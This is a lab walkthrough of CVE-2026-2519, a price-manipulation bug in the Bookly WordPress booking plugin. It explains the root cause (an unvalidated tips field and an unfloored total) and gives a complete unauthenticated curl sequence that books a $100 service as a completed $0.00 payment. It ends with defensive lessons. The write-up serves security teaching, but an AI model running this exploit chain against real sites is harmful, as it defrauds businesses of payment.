CVE-2026-2519: Bookly Unauthenticated Price Manipulation
Updated August 25, 2026 · Written by PWNMI — see About.
Not every serious vulnerability is memory corruption or a missing auth check on an admin route. CVE-2026-2519 is a business-logic bug in Bookly, a free WordPress appointment-booking plugin used by small businesses to take real bookings and real payments — an anonymous visitor can drive the price of any service to $0.00, and the server never notices anything is wrong.
This lab uses a real vulnerable version of the plugin, running fully isolated with no ports exposed beyond the Docker host itself. Affects Bookly – Online Scheduling and Appointment Booking System through 27.0. No working public PoC existed for this CVE at research time — the backlog's listed PoC repo turned out to target a completely different, unrelated CVE (a scanner substring-collision), so the vulnerable code path here was traced directly from Bookly's own source instead.
What you'll practice: following a multi-step, session-based checkout flow purely through raw curl requests to find where server-side validation is assumed rather than enforced, recognizing when "the fields are sanitized" and "the fields are safe to trust" are not the same claim, and confirming a finding against the actual database row instead of stopping at an HTTP 200.
Set up the lab
New to Docker or git, or unsure what the commands below are actually doing? See Docker for Security Labs and Git for Security Work first.
Get the lab files from pwnmihq/resources, including the plugin zip itself — bundled directly so this lab needs no external download:
git clone --filter=blob:none --sparse https://github.com/pwnmihq/resources
cd resources
git sparse-checkout set cve-labs/CVE-2026-2519
cd cve-labs/CVE-2026-2519
docker compose up -d
This brings up MariaDB, WordPress, and a one-shot wpcli container that installs WordPress, activates Bookly 27.0, publishes a page carrying the [bookly-form] shortcode, and seeds a $100 "Consultation" service with a staff member available every day of the week. Wait for the provisioner to finish:
until [ "$(docker inspect $(docker compose ps -qa wpcli) --format '{{.State.Status}}')" = "exited" ]; do sleep 2; done
docker compose logs wpcli
No ports are published — capture the WordPress container and its IP:
CONTAINER=$(docker compose ps -q wordpress)
IP=$(docker inspect $CONTAINER --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}')
Understanding the vulnerability
Bookly's public booking widget walks a visitor through a multi-step wizard — pick a service, pick a time, enter contact details, review the total, pay — all driven by POST requests to wp-admin/admin-ajax.php with actions like bookly_session_save. Every one of those actions is registered wp_ajax_nopriv_*, meaning it's meant to be reachable by anyone, logged in or not — that's normal for a public booking form, not the bug.
The bug is in how the server treats data coming back through bookly_session_save. The handler takes a whitelist of field names the frontend is allowed to set — full_name, email, slots, and also tips — and for every field on that whitelist, blindly assigns whatever value the client sent straight onto the in-progress booking's session state via fillData(). UserBookingData::validate() — the one method whose entire job is to reject bad input before the booking can proceed — never inspects tips at all. It checks that a service was selected, that a time slot is real, that contact details are present. It does not check that tips is a number in any sane range, or even that it's positive.
tips isn't cosmetic. When the cart total is computed, CartInfo::getTotal() does exactly what the name promises: subtotal + discount + tips. There's no max(0, ...) anywhere in that computation. A large enough negative tips value doesn't get rejected, doesn't get clamped mid-calculation — it just makes the sum go negative, and Bookly's payment-finalization step is the first place anything floors the result, clamping the stored total at 0.00 right before it's written to the database as a completed, paid booking.
The whitelist-based fillData() pattern isn't inherently unsafe — plenty of fields on it are fine to trust from the client, because their worst-case value is still constrained elsewhere (a garbage full_name doesn't cost anyone money). The bug is that tips was put on the same trust level as those fields without anyone asking what happens if it's wildly out of range. Sanitizing a field's type and validating its business meaning are two different jobs, and only the first one happened here.
Exploitation
Everything below is unauthenticated — no login, no cookies beyond what a normal anonymous visitor already gets. First, initialize a booking session for the seeded service and staff member:
BASE="http://$IP/wp-admin/admin-ajax.php"
R1=$(curl -s -X POST "$BASE" \
--data-urlencode "action=bookly_get_form_id" \
--data-urlencode "form_data[defaults][service_id]=1" \
--data-urlencode "form_data[defaults][staff_id]=1" \
--data-urlencode "form_data[defaults][units]=1")
FORM_ID=$(echo "$R1" | grep -o '"form_id":"[^"]*"' | cut -d'"' -f4)
echo "$FORM_ID"
Bookly's anonymous-visitor CSRF token is shared across all logged-out users at a given moment — scrape it straight off the public booking page, no session of your own required:
curl -s "http://$IP/booking/" -o /tmp/page.html
CSRF=$(grep -o '"csrf_token":"[^"]*"' /tmp/page.html | head -1 | cut -d'"' -f4)
echo "$CSRF"
Ask the widget for a real available slot, computed by Bookly's own scheduling engine from the seeded staff schedule, and pull the first one out of the response:
curl -s -X POST "$BASE" --data-urlencode "action=bookly_render_time" --data-urlencode "form_id=$FORM_ID" -o /tmp/render_time.json
python3 -c "
import json
d = json.load(open('/tmp/render_time.json'), strict=False)
for g, v in d['slots_data'].items():
for s in v['slots']:
print(s['data'])
raise SystemExit
"
Take that datetime and walk the wizard forward like a real visitor would — select the slot, add it to the cart, submit contact details:
SLOT="2026-08-25 09:45:00" # use the value printed above
SLOTS_JSON="[[1,1,\"$SLOT\",0]]"
DATE=$(echo "$SLOT" | cut -d' ' -f1)
TIME=$(echo "$SLOT" | cut -d' ' -f2 | cut -c1-5)
curl -s -X POST "$BASE" --data-urlencode "action=bookly_session_save" --data-urlencode "form_id=$FORM_ID" \
--data-urlencode "csrf_token=$CSRF" --data-urlencode "slots=$SLOTS_JSON" \
--data-urlencode "date_from=$DATE" --data-urlencode "time_from=$TIME" --data-urlencode "time_to=23:59"
curl -s -X POST "$BASE" --data-urlencode "action=bookly_render_cart" --data-urlencode "form_id=$FORM_ID" \
--data-urlencode "csrf_token=$CSRF" --data-urlencode "add_to_cart=1"
curl -s -X POST "$BASE" --data-urlencode "action=bookly_session_save" --data-urlencode "form_id=$FORM_ID" \
--data-urlencode "csrf_token=$CSRF" --data-urlencode "full_name=Attacker Test" \
--data-urlencode "email=attacker@external-target.example" --data-urlencode "phone=555-0100"
Every step so far is exactly what a legitimate customer's browser does. Now the exploit — one more bookly_session_save call, this time setting tips to a large negative number:
curl -s -X POST "$BASE" --data-urlencode "action=bookly_session_save" --data-urlencode "form_id=$FORM_ID" \
--data-urlencode "csrf_token=$CSRF" --data-urlencode "tips=-9999"
{"success":true} — no validation error, no rejection. Finalize the booking exactly as the wizard's last step would:
curl -s -X POST "$BASE" --data-urlencode "action=bookly_save_appointment" --data-urlencode "form_id=$FORM_ID" \
--data-urlencode "csrf_token=$CSRF"
Don't take the {"success":true} at face value — check what actually landed in the database:
DB_CONTAINER=$(docker compose ps -q db)
docker exec -i $DB_CONTAINER mariadb -uwordpress -pwordpress wordpress \
-e "SELECT id, total, status, type FROM wp_bookly_payments;"
total reads 0.00, status reads completed. The row's own details JSON still records "service_price":100 alongside "tips":"-9999" — proof the $100 service was genuinely booked and marked paid in full for nothing, by a visitor who never logged in or entered any payment information at all.
Cleanup
The artifact this exploit leaves behind is a real row in wp_bookly_payments (and the linked wp_bookly_appointments/wp_bookly_customer_appointments rows it references) — a completed, zero-dollar booking under a fabricated customer name. On a real target, remove it from the WordPress admin under Bookly → Appointments rather than deleting rows directly from the database, since Bookly's own appointment-cancellation flow also handles the calendar/notification side effects a raw DELETE would skip. This isn't a backdoor or a privilege-granting artifact — cleaning it up is about not leaving fabricated business records behind, not about closing an ongoing access path.
Tear the lab down when you're done:
docker compose down -v
Lessons worth keeping
- A field-level whitelist is not the same thing as validation.
fillData()correctly restricts which fields a client can set — the gap is that being allowed to set a field says nothing about what values are acceptable for it. Every field on a whitelist like this needs its own range/business-logic check, not just membership in the list. - Money math needs an explicit floor, not an implicit one.
subtotal + discount + tipswill happily go negative in PHP; nothing about the language stops it. The fix isn't "validatetipsis positive" in isolation, it's recognizing that any user-influenced term feeding into a price calculation needs its combined effect bounded, not just each term individually. - A multi-step wizard doesn't add security by being multi-step. Every request in this exploit hit the same handful of AJAX actions a legitimate browser session would hit, in the same order. Splitting a flow into steps changes the UX, not the trust boundary — each step still needs to independently validate what it receives.
Next step
For another case where a plugin correctly restricts who can call an endpoint but not what they can do once they're there, see CVE-2026-11349 (Modern Events Calendar). For the tool doing the request-crafting in this walkthrough, see the curl cheatsheet.
Get new write-ups in your inbox
New roadmaps, tool walkthroughs, and lab write-ups. No spam. Unsubscribe anytime.